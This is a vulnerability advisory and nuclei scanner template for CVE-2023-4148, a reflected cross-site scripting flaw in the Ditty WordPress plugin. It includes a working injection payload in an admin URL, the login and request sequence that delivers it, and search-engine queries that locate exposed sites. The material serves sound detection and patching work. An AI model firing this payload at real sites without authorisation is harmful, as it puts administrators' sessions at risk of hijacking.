Ditty < 3.1.25 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.8%likelihood of exploitation, next 30 days

58%of all CVEs are less likely

Readycheck to confirm it

The Ditty WordPress plugin before 3.1.25 does not sanitise and escape some parameters and generated URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Impact

Unauthenticated attackers can inject malicious JavaScript through unsanitized parameters and generated URLs to steal session cookies from high-privilege users including WordPress administrators.

Fix

Fixed in version 3.1.25

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/edit.php?post_type=ditty&page=ditty_export&tab=export_ditty&"><script>alert(/XSS/)</script>
Positive when: status_code_2 == 200 and contains(body_2, "<script>alert(/XSS/)</script>") && contains(body_2, "ditty") and contains(content_type_2, "text/html")

Run it with nuclei: nuclei -id CVE-2023-4148 -u <target>

The full check

id: CVE-2023-4148

info:
  name: Ditty < 3.1.25 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Ditty WordPress plugin before 3.1.25 does not sanitise and escape some parameters and generated URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through unsanitized parameters and generated URLs to steal session cookies from high-privilege users including WordPress administrators.
  remediation: Fixed in version 3.1.25
  reference:
    - https://wpscan.com/vulnerability/aa39de78-55b3-4237-84db-6fdf6820c58d
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4148
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4148
    cwe-id: CWE-79
    epss-score: 0.00845
    epss-percentile: 0.58305
    cpe: cpe:2.3:a:metaphorcreations:ditty:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: metaphorcreations
    product: ditty
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ditty-news-ticker/
    fofa-query: body=/wp-content/plugins/ditty-news-ticker/
    publicwww-query: /wp-content/plugins/ditty-news-ticker/
  tags: cve2023,cve,ditty-news-ticker,wordpress,wp-plugin,wpscan,wp,authenticated,metaphorcreations,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=ditty&page=ditty_export&tab=export_ditty&"><script>alert(/XSS/)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<script>alert(/XSS/)</script>") && contains(body_2, "ditty")'
          - 'contains(content_type_2, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from